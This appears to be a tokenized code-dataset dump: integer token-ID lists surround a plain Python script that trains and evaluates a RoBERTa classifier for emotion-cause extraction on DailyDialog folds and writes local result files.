822,
1051,
29918,
558,
1540,
29918,
29894,
29941,
29898,
3137,
1125,
13,
1678,
396,
268,
2425,
353,
29871,
29896,
13,
1678,
396,
268,
1550,
2425,
529,
29871,
29941,
29901,
13,
1678,
396,
308,
396,
805,
29918,
3137,
15028,
363,
12647,
29899,
558,
348,
287,
29899,
3137,
13,
1678,
396,
308,
805,
29918,
3137,
353,
518,
29875,
363,
474,
297,
19375,
565,
474,
29889,
9202,
2264,
1275,
525,
16773,
2033,
13,
1678,
396,
308,
565,
7431,
29898,
1028,
29918,
3137,
29897,
5277,
29871,
29941,
29901,
13,
1678,
396,
632,
2867,
13,
1678,
396,
308,
1833,
29918,
16773,
29918,
2248,
353,
29871,
29900,
13,
1678,
396,
308,
363,
2380,
29892,
7636,
297,
26985,
29898,
1028,
29918,
3137,
1125,
13,
1678,
396,
632,
565,
2380,
1275,
29871,
29900,
470,
2380,
1275,
7431,
29898,
1028,
29918,
3137,
29897,
448,
29871,
29896,
29901,
13,
1678,
396,
462,
1209,
13,
1678,
396,
632,
25342,
7636,
29889,
2848,
29918,
1405,
805,
29918,
3137,
29961,
4230,
29918,
16773,
29918,
2248,
1822,
2848,
29918,
470,
7636,
29889,
2848,
29918,
1405,
805,
29918,
3137,
29961,
2248,
718,
29871,
29896,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
7636,
29889,
9202,
2264,
353,
525,
12313,
29915,
13,
1678,
396,
462,
396,
363,
321,
297,
832,
29889,
287,
2710,
29889,
5975,
7295,
13,
1678,
396,
462,
396,
268,
565,
321,
1275,
7636,
29901,
13,
1678,
396,
462,
396,
308,
321,
29889,
9202,
2264,
353,
525,
12313,
29915,
13,
1678,
396,
632,
1683,
29901,
13,
1678,
396,
462,
1833,
29918,
16773,
29918,
2248,
353,
2380,
13,
1678,
396,
308,
2425,
4619,
29871,
29896,
13,
1678,
396,
268,
565,
7431,
29898,
1028,
29918,
3137,
29897,
1275,
29871,
29941,
29901,
13,
1678,
396,
308,
2614,
29918,
517,
29918,
29900,
353,
1371,
414,
29889,
2521,
29898,
1028,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
650,
29892,
805,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
10184,
29892,
805,
29918,
3137,
29961,
29900,
1822,
3177,
29918,
10184,
29897,
13,
1678,
396,
308,
2614,
29918,
517,
29918,
29906,
353,
1371,
414,
29889,
2521,
29898,
1028,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
650,
29892,
805,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
10184,
29892,
805,
29918,
3137,
29961,
29906,
1822,
3177,
29918,
10184,
29897,
13,
1678,
396,
308,
396,
565,
7256,
7636,
310,
9886,
29871,
29941,
338,
278,
3273,
342,
29901,
13,
1678,
396,
308,
565,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
322,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
632,
396,
565,
10696,
304,
7636,
29918,
29900,
297,
805,
29918,
3137,
338,
3109,
769,
10696,
304,
7636,
29918,
29906,
297,
805,
29918,
3137,
29901,
13,
1678,
396,
632,
565,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
529,
6425,
29898,
574,
29918,
517,
29918,
29906,
1125,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29900,
29962,
13,
1678,
396,
632,
1683,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29906,
29962,
13,
1678,
396,
308,
25342,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
470,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
632,
565,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
529,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29896,
29962,
13,
1678,
396,
632,
25342,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
529,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29900,
29962,
13,
1678,
396,
632,
25342,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
1405,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29896,
29962,
13,
1678,
396,
632,
25342,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
1405,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29906,
29962,
13,
1678,
396,
632,
1683,
29901,
13,
1678,
396,
462,
1596,
877,
1576,
7256,
471,
278,
3273,
342,
541,
694,
7636,
471,
6206,
29889,
1495,
13,
1678,
396,
268,
565,
7431,
29898,
1028,
29918,
3137,
29897,
1405,
29871,
29941,
29901,
13,
1678,
396,
308,
1596,
29898,
29888,
29915,
1576,
12647,
29899,
558,
348,
287,
1051,
750,
901,
2211,
12770,
9886,
373,
445,
12541,
29889,
1495,
13,
1678,
396,
268,
544,
348,
287,
29918,
3137,
353,
805,
29918,
3137,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
268,
736,
544,
348,
287,
29918,
3137,
13,
1678,
396,
13,
1678,
396,
822,
1051,
29918,
558,
1540,
29918,
29894,
29946,
29898,
3137,
1125,
13,
1678,
396,
268,
1550,
5852,
29901,
13,
1678,
396,
308,
396,
805,
29918,
3137,
15028,
363,
12647,
29899,
558,
348,
287,
29899,
3137,
13,
1678,
396,
308,
805,
29918,
3137,
353,
518,
29875,
363,
474,
297,
19375,
565,
474,
29889,
9202,
2264,
1275,
525,
16773,
2033,
13,
1678,
396,
308,
565,
7431,
29898,
1028,
29918,
3137,
29897,
5277,
29871,
29941,
29901,
13,
1678,
396,
632,
2867,
13,
1678,
396,
308,
1833,
29918,
16773,
29918,
2248,
353,
29871,
29900,
13,
1678,
396,
308,
363,
2380,
29892,
7636,
297,
26985,
29898,
1028,
29918,
3137,
1125,
13,
1678,
396,
632,
565,
2380,
1275,
29871,
29900,
470,
2380,
1275,
7431,
29898,
1028,
29918,
3137,
29897,
448,
29871,
29896,
29901,
13,
1678,
396,
462,
1209,
13,
1678,
396,
632,
25342,
7636,
29889,
2848,
29918,
1405,
805,
29918,
3137,
29961,
4230,
29918,
16773,
29918,
2248,
1822,
2848,
29918,
470,
7636,
29889,
2848,
29918,
1405,
805,
29918,
3137,
29961,
2248,
718,
29871,
29896,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
7636,
29889,
9202,
2264,
353,
525,
12313,
29915,
13,
1678,
396,
462,
396,
363,
321,
297,
832,
29889,
287,
2710,
29889,
5975,
7295,
13,
1678,
396,
462,
396,
268,
565,
321,
1275,
7636,
29901,
13,
1678,
396,
462,
396,
308,
321,
29889,
9202,
2264,
353,
525,
12313,
29915,
13,
1678,
396,
632,
1683,
29901,
13,
1678,
396,
462,
1833,
29918,
16773,
29918,
2248,
353,
2380,
13,
1678,
396,
268,
565,
7431,
29898,
1028,
29918,
3137,
29897,
1275,
29871,
29941,
29901,
13,
1678,
396,
308,
2614,
29918,
517,
29918,
29900,
353,
1371,
414,
29889,
2521,
29898,
1028,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
650,
29892,
805,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
10184,
29892,
805,
29918,
3137,
29961,
29900,
1822,
3177,
29918,
10184,
29897,
13,
1678,
396,
308,
2614,
29918,
517,
29918,
29906,
353,
1371,
414,
29889,
2521,
29898,
1028,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
650,
29892,
805,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
10184,
29892,
805,
29918,
3137,
29961,
29906,
1822,
3177,
29918,
10184,
29897,
13,
1678,
396,
308,
396,
565,
7256,
7636,
338,
278,
3273,
342,
29901,
13,
1678,
396,
308,
565,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
322,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
632,
396,
565,
10696,
304,
7636,
29918,
29900,
297,
805,
29918,
3137,
338,
3109,
769,
10696,
304,
7636,
29918,
29906,
297,
805,
29918,
3137,
29901,
13,
1678,
396,
632,
565,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
529,
6425,
29898,
574,
29918,
517,
29918,
29906,
1125,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29900,
29962,
13,
1678,
396,
632,
1683,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29906,
29962,
13,
1678,
396,
308,
396,
1683,
565,
7256,
7636,
338,
278,
7256,
3309,
29901,
13,
1678,
396,
308,
25342,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
470,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
632,
396,
3440,
825,
1438,
565,
29879,
2755,
13,
1678,
396,
632,
565,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
529,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29896,
29962,
13,
1678,
396,
632,
25342,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
529,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29900,
29962,
13,
1678,
396,
632,
25342,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
1405,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29896,
29962,
13,
1678,
396,
632,
25342,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
1405,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
628,
805,
29918,
3137,
29961,
29906,
29962,
13,
1678,
396,
632,
1683,
29901,
13,
1678,
396,
462,
1596,
877,
1576,
7256,
471,
278,
3273,
342,
541,
694,
7636,
471,
6206,
29889,
1495,
13,
1678,
396,
268,
565,
7431,
29898,
1028,
29918,
3137,
29897,
1405,
29871,
29941,
29901,
13,
1678,
396,
308,
1596,
877,
1576,
12647,
29899,
558,
348,
287,
1051,
750,
901,
2211,
12770,
9886,
373,
445,
12541,
29889,
1495,
13,
1678,
396,
268,
25342,
7431,
29898,
1028,
29918,
3137,
29897,
1275,
29871,
29906,
29901,
13,
1678,
396,
308,
1596,
877,
1576,
12647,
29899,
558,
348,
287,
1051,
750,
1023,
12770,
9886,
373,
445,
12541,
29889,
1495,
13,
1678,
396,
268,
544,
348,
287,
29918,
3137,
353,
805,
29918,
3137,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
268,
736,
544,
348,
287,
29918,
3137,
13,
13,
1678,
822,
1051,
29918,
558,
1540,
29918,
29894,
29945,
29898,
3137,
1125,
13,
4706,
1550,
5852,
29901,
13,
9651,
396,
805,
29918,
3137,
15028,
363,
12647,
29899,
558,
348,
287,
29899,
3137,
13,
9651,
805,
29918,
3137,
353,
518,
29875,
363,
474,
297,
19375,
565,
474,
29889,
9202,
2264,
1275,
525,
16773,
2033,
13,
9651,
565,
7431,
29898,
1028,
29918,
3137,
29897,
5277,
29871,
29946,
29901,
13,
18884,
2867,
13,
9651,
1833,
29918,
16773,
29918,
2248,
353,
29871,
29900,
13,
9651,
363,
2380,
29892,
7636,
297,
26985,
29898,
1028,
29918,
3137,
1125,
13,
18884,
565,
2380,
1275,
29871,
29900,
470,
2380,
1275,
7431,
29898,
1028,
29918,
3137,
29897,
448,
29871,
29896,
29901,
13,
462,
1678,
1209,
13,
18884,
396,
565,
278,
7636,
338,
278,
7256,
297,
3309,
29901,
13,
18884,
25342,
7636,
29889,
2848,
29918,
1405,
805,
29918,
3137,
29961,
4230,
29918,
16773,
29918,
2248,
1822,
2848,
29918,
470,
7636,
29889,
2848,
29918,
1405,
805,
29918,
3137,
29961,
2248,
718,
29871,
29896,
1822,
2848,
29918,
29901,
13,
462,
1678,
396,
1596,
877,
27065,
1218,
23619,
29889,
1495,
13,
462,
1678,
396,
565,
4236,
29898,
6897,
29898,
1028,
29918,
3137,
29961,
4230,
29918,
16773,
29918,
2248,
1822,
2521,
511,
6425,
29898,
1028,
29918,
3137,
29961,
2248,
718,
29871,
29896,
1822,
2848,
876,
448,
320,
13,
462,
1678,
396,
308,
1375,
29898,
6897,
29898,
1028,
29918,
3137,
29961,
4230,
29918,
16773,
29918,
2248,
1822,
2521,
511,
6425,
29898,
1028,
29918,
3137,
29961,
2248,
718,
29871,
29896,
1822,
2848,
876,
1405,
29871,
29896,
29906,
29900,
29901,
13,
462,
1678,
7636,
29889,
9202,
2264,
353,
525,
12313,
29915,
13,
18884,
1683,
29901,
13,
462,
1678,
1833,
29918,
16773,
29918,
2248,
353,
2380,
13,
4706,
565,
7431,
29898,
1028,
29918,
3137,
29897,
1275,
29871,
29941,
29901,
13,
9651,
2614,
29918,
517,
29918,
29900,
353,
1371,
414,
29889,
2521,
29898,
1028,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
650,
29892,
805,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
10184,
29892,
805,
29918,
3137,
29961,
29900,
1822,
3177,
29918,
10184,
29897,
13,
9651,
2614,
29918,
517,
29918,
29906,
353,
1371,
414,
29889,
2521,
29898,
1028,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
650,
29892,
805,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
10184,
29892,
805,
29918,
3137,
29961,
29906,
1822,
3177,
29918,
10184,
29897,
13,
9651,
396,
565,
7256,
7636,
338,
278,
3273,
342,
29901,
13,
9651,
565,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
322,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
18884,
396,
565,
10696,
304,
7636,
29918,
29900,
297,
805,
29918,
3137,
338,
3109,
769,
10696,
304,
7636,
29918,
29906,
297,
805,
29918,
3137,
29901,
13,
18884,
565,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
529,
6425,
29898,
574,
29918,
517,
29918,
29906,
1125,
13,
462,
1678,
628,
805,
29918,
3137,
29961,
29900,
29962,
13,
18884,
1683,
29901,
13,
462,
1678,
628,
805,
29918,
3137,
29961,
29906,
29962,
13,
9651,
396,
1683,
565,
7256,
7636,
338,
278,
7256,
3309,
29901,
13,
9651,
25342,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
470,
805,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
18884,
396,
3440,
825,
1438,
565,
29879,
2755,
13,
18884,
565,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
529,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
462,
1678,
628,
805,
29918,
3137,
29961,
29896,
29962,
13,
18884,
25342,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
529,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
462,
1678,
628,
805,
29918,
3137,
29961,
29900,
29962,
13,
18884,
25342,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
1405,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
1405,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
462,
1678,
628,
805,
29918,
3137,
29961,
29896,
29962,
13,
18884,
25342,
6425,
29898,
574,
29918,
517,
29918,
29900,
29897,
1405,
6425,
29898,
574,
29918,
517,
29918,
29906,
29897,
322,
805,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
529,
805,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
462,
1678,
628,
805,
29918,
3137,
29961,
29906,
29962,
13,
18884,
1683,
29901,
13,
462,
1678,
1596,
877,
1576,
7256,
471,
278,
3273,
342,
541,
694,
7636,
471,
6206,
29889,
1495,
13,
4706,
565,
7431,
29898,
1028,
29918,
3137,
29897,
1405,
29871,
29941,
29901,
13,
9651,
1596,
877,
1576,
12647,
29899,
558,
348,
287,
1051,
750,
901,
2211,
12770,
9886,
373,
445,
12541,
29889,
1495,
13,
4706,
25342,
7431,
29898,
1028,
29918,
3137,
29897,
1275,
29871,
29906,
29901,
13,
9651,
1596,
877,
1576,
12647,
29899,
558,
348,
287,
1051,
750,
1023,
12770,
9886,
373,
445,
12541,
29889,
1495,
13,
4706,
544,
348,
287,
29918,
3137,
353,
805,
29918,
3137,
29871,
396,
1122,
451,
367,
4312,
13,
4706,
736,
544,
348,
287,
29918,
3137,
13,
13,
1678,
396,
19450,
7636,
23619,
13,
1678,
396,
321,
481,
29918,
2962,
353,
931,
29889,
2230,
580,
13,
1678,
396,
1226,
29887,
29918,
2798,
353,
29871,
29900,
13,
1678,
363,
7636,
297,
2777,
29889,
287,
2710,
29889,
5975,
7295,
13,
4706,
396,
1226,
29887,
29918,
2798,
4619,
29871,
29896,
13,
4706,
396,
1596,
29898,
29888,
29915,
12310,
18099,
7636,
10696,
29901,
426,
287,
29887,
29918,
2798,
29913,
1495,
13,
4706,
7636,
29889,
2521,
353,
1371,
414,
29889,
2521,
29898,
12864,
29889,
3177,
29918,
650,
29892,
2777,
29889,
12483,
482,
29918,
3177,
29892,
7636,
29889,
3177,
29918,
10184,
29897,
13,
1678,
396,
321,
481,
29918,
355,
353,
931,
29889,
2230,
580,
13,
13,
1678,
396,
363,
1269,
2943,
29892,
1051,
278,
12770,
363,
607,
372,
338,
278,
3978,
29892,
322,
607,
505,
1781,
6216,
2264,
13,
1678,
1781,
29918,
287,
2710,
353,
5159,
13,
1678,
396,
2943,
29918,
2798,
353,
29871,
29900,
13,
1678,
396,
282,
29876,
29918,
2962,
353,
931,
29889,
2230,
580,
13,
1678,
363,
2943,
297,
2777,
29889,
18010,
29889,
5975,
7295,
13,
4706,
396,
2943,
29918,
2798,
4619,
29871,
29896,
13,
4706,
396,
1596,
29898,
3177,
29918,
2798,
29897,
13,
4706,
19375,
353,
518,
29875,
363,
474,
297,
2777,
29889,
287,
2710,
29889,
5975,
580,
565,
474,
29889,
3177,
29918,
650,
1275,
2943,
29962,
13,
4706,
19375,
29889,
6605,
29898,
1989,
29922,
2892,
921,
29901,
921,
29889,
2521,
29897,
13,
4706,
396,
302,
29918,
2962,
353,
931,
29889,
2230,
580,
13,
4706,
1781,
353,
1051,
29918,
558,
1540,
29918,
29894,
29945,
29898,
3137,
29897,
29871,
396,
544,
1540,
278,
1051,
310,
12770,
13,
4706,
396,
302,
29918,
355,
353,
931,
29889,
2230,
580,
13,
4706,
396,
1596,
29898,
29888,
29915,
2481,
4586,
363,
445,
2943,
29901,
426,
29876,
29918,
355,
448,
302,
29918,
2962,
29913,
1495,
13,
4706,
396,
1596,
29898,
8758,
29889,
287,
2710,
29897,
13,
4706,
1781,
29918,
287,
2710,
29889,
21843,
29898,
16773,
29897,
29871,
396,
445,
1122,
451,
367,
4312,
856,
13,
1678,
396,
282,
29876,
29918,
355,
353,
931,
29889,
2230,
580,
13,
1678,
396,
1596,
29898,
29888,
29915,
12310,
18099,
7636,
23619,
3614,
29901,
426,
29872,
481,
29918,
355,
448,
321,
481,
29918,
2962,
29913,
1495,
13,
1678,
396,
1596,
29898,
29888,
29915,
7032,
292,
278,
7573,
3614,
29901,
426,
21257,
29918,
355,
448,
282,
29876,
29918,
2962,
29913,
1495,
13,
2
] |
emotion-cause-extraction/RoBERTa Baseline/train_classification.py | NouamaneTazi/conv-emotion | 488 | 189591 | <reponame>NouamaneTazi/conv-emotion<gh_stars>100-1000
import numpy as np, pandas as pd
import json, os, logging, pickle, argparse
from sklearn.metrics import classification_report
from simpletransformers.classification import ClassificationModel
if __name__ == '__main__':
global args
parser = argparse.ArgumentParser()
parser.add_argument('--lr', type=float, default=1e-5, metavar='LR', help='Initial learning rate')
parser.add_argument('--batch-size', type=int, default=8, metavar='BS', help='batch size')
parser.add_argument('--epochs', type=int, default=12, metavar='E', help='number of epochs')
parser.add_argument('--model', default='rob', help='which model rob| robl')
parser.add_argument('--fold', type=int, default=1, metavar='F', help='which fold')
parser.add_argument('--context', action='store_true', default=False, help='use context')
parser.add_argument('--cuda', type=int, default=0, metavar='C', help='cuda device')
args = parser.parse_args()
print(args)
model_family = {'rob': 'roberta', 'robl': 'roberta'}
model_id = {'rob': 'roberta-base', 'robl': 'roberta-large'}
model_exact_id = {'rob': 'roberta-base', 'robl': 'roberta-large'}
lr = args.lr
batch_size = args.batch_size
epochs = args.epochs
model = args.model
fold = str(args.fold)
context = args.context
cuda = args.cuda
dataset = 'dailydialog'
if context == False:
max_seq_length = 300
else:
max_seq_length = 512
if context == False:
save_dir = 'outputs/' + model_id[model] + '-dailydialog-cls-without-context-fold' + fold + '/'
result_file = 'outputs/' + model_id[model] + '-dailydialog-cls-without-context-fold' + fold + '/results.txt'
dump_file = 'outputs/' + model_id[model] + '-dailydialog-cls-without-context-fold' + fold + '/test_predictions.pkl'
x_train = pd.read_csv('data/subtask2/fold' + fold + '/dailydialog_classification_train_without_context.csv')
x_valid = pd.read_csv('data/subtask2/fold' + fold + '/dailydialog_classification_valid_without_context.csv')
x_test = pd.read_csv('data/subtask2/fold' + fold + '/dailydialog_classification_test_without_context.csv')
else:
save_dir = 'outputs/' + model_id[model] + '-dailydialog-cls-with-context-fold' + fold + '/'
result_file = 'outputs/' + model_id[model] + '-dailydialog-cls-with-context-fold' + fold + '/results.txt'
dump_file = 'outputs/' + model_id[model] + '-dailydialog-cls-with-context-fold' + fold + '/test_predictions.pkl'
x_train = pd.read_csv('data/subtask2/fold' + fold + '/dailydialog_classification_train_with_context.csv')
x_valid = pd.read_csv('data/subtask2/fold' + fold + '/dailydialog_classification_valid_with_context.csv')
x_test = pd.read_csv('data/subtask2/fold' + fold + '/dailydialog_classification_test_with_context.csv')
if fold == '1':
num_steps = int(27915/batch_size)
else:
num_steps = int(25697/batch_size)
train_args = {
'fp16': False,
'overwrite_output_dir': True,
'max_seq_length': max_seq_length,
'learning_rate': lr,
'sliding_window': False,
'output_dir': save_dir,
'best_model_dir': save_dir + 'best_model/',
'evaluate_during_training': True,
'evaluate_during_training_steps': num_steps,
'save_eval_checkpoints': False,
'save_model_every_epoch': False,
'save_steps': 500000,
'train_batch_size': batch_size,
'num_train_epochs': epochs
}
cls_model = ClassificationModel(model_family[model], model_exact_id[model], args=train_args, cuda_device=cuda)
cls_model.train_model(x_train, eval_df=x_valid)
cls_model = ClassificationModel(model_family[model], save_dir + 'best_model/', args=train_args, cuda_device=cuda)
result, model_outputs, wrong_predictions = cls_model.eval_model(x_test)
preds = np.argmax(model_outputs, 1)
labels = x_test['labels']
r = str(classification_report(labels, preds, digits=4))
print (r)
rf = open('results/dailydialog_classification.txt', 'a')
rf.write(str(args) + '\n\n')
rf.write(r + '\n' + '-'*54 + '\n')
rf.close()
rf = open(result_file, 'a')
rf.write(str(args) + '\n\n')
rf.write(r + '\n' + '-'*54 + '\n')
rf.close()
pickle.dump([result, model_outputs, wrong_predictions], open(dump_file, 'wb'))
| [
1,
529,
276,
1112,
420,
29958,
29940,
283,
314,
1662,
29911,
18861,
29914,
20580,
29899,
331,
8194,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29900,
29899,
29896,
29900,
29900,
29900,
13,
5215,
12655,
408,
7442,
29892,
11701,
408,
10518,
13,
5215,
4390,
29892,
2897,
29892,
12183,
29892,
5839,
280,
29892,
1852,
5510,
13,
3166,
2071,
19668,
29889,
2527,
10817,
1053,
12965,
29918,
12276,
13,
3166,
2560,
9067,
414,
29889,
1990,
2450,
1053,
23236,
3195,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
13,
1678,
5534,
6389,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
580,
13,
418,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
29212,
742,
1134,
29922,
7411,
29892,
2322,
29922,
29896,
29872,
29899,
29945,
29892,
1539,
485,
279,
2433,
29519,
742,
1371,
2433,
15514,
6509,
6554,
1495,
29871,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
16175,
29899,
2311,
742,
1134,
29922,
524,
29892,
2322,
29922,
29947,
29892,
1539,
485,
279,
2433,
9851,
742,
1371,
2433,
16175,
2159,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
1022,
2878,
29879,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29906,
29892,
1539,
485,
279,
2433,
29923,
742,
1371,
2433,
4537,
310,
21502,
12168,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
4299,
742,
2322,
2433,
13716,
742,
1371,
2433,
4716,
1904,
10832,
29989,
696,
2204,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
8771,
742,
1134,
29922,
524,
29892,
2322,
29922,
29896,
29892,
1539,
485,
279,
2433,
29943,
742,
1371,
2433,
4716,
900,
29881,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
4703,
742,
3158,
2433,
8899,
29918,
3009,
742,
2322,
29922,
8824,
29892,
1371,
2433,
1509,
3030,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
29883,
6191,
742,
1134,
29922,
524,
29892,
2322,
29922,
29900,
29892,
1539,
485,
279,
2433,
29907,
742,
1371,
2433,
29883,
6191,
4742,
1495,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
1678,
1596,
29898,
5085,
29897,
13,
268,
13,
1678,
1904,
29918,
11922,
353,
11117,
13716,
2396,
525,
307,
19954,
742,
525,
307,
2204,
2396,
525,
307,
19954,
10827,
13,
1678,
1904,
29918,
333,
353,
11117,
13716,
2396,
525,
307,
19954,
29899,
3188,
742,
525,
307,
2204,
2396,
525,
307,
19954,
29899,
16961,
10827,
13,
1678,
1904,
29918,
735,
627,
29918,
333,
353,
11117,
13716,
2396,
525,
307,
19954,
29899,
3188,
742,
525,
307,
2204,
2396,
525,
307,
19954,
29899,
16961,
10827,
13,
268,
13,
268,
13,
1678,
301,
29878,
353,
6389,
29889,
29212,
13,
1678,
9853,
29918,
2311,
353,
6389,
29889,
16175,
29918,
2311,
13,
1678,
21502,
12168,
353,
6389,
29889,
1022,
2878,
29879,
13,
1678,
1904,
353,
6389,
29889,
4299,
13,
1678,
900,
29881,
353,
851,
29898,
5085,
29889,
8771,
29897,
13,
1678,
3030,
353,
6389,
29889,
4703,
13,
1678,
274,
6191,
353,
6389,
29889,
29883,
6191,
13,
1678,
8783,
353,
525,
29881,
737,
2941,
3658,
29915,
13,
268,
13,
1678,
565,
3030,
1275,
7700,
29901,
13,
4706,
4236,
29918,
11762,
29918,
2848,
353,
29871,
29941,
29900,
29900,
13,
1678,
1683,
29901,
13,
4706,
4236,
29918,
11762,
29918,
2848,
353,
29871,
29945,
29896,
29906,
13,
308,
13,
1678,
565,
3030,
1275,
7700,
29901,
13,
4706,
4078,
29918,
3972,
1678,
353,
525,
4905,
29879,
22208,
718,
1904,
29918,
333,
29961,
4299,
29962,
718,
17411,
29881,
737,
2941,
3658,
29899,
25932,
29899,
14037,
29899,
4703,
29899,
8771,
29915,
718,
900,
29881,
718,
8207,
29915,
13,
4706,
1121,
29918,
1445,
353,
525,
4905,
29879,
22208,
718,
1904,
29918,
333,
29961,
4299,
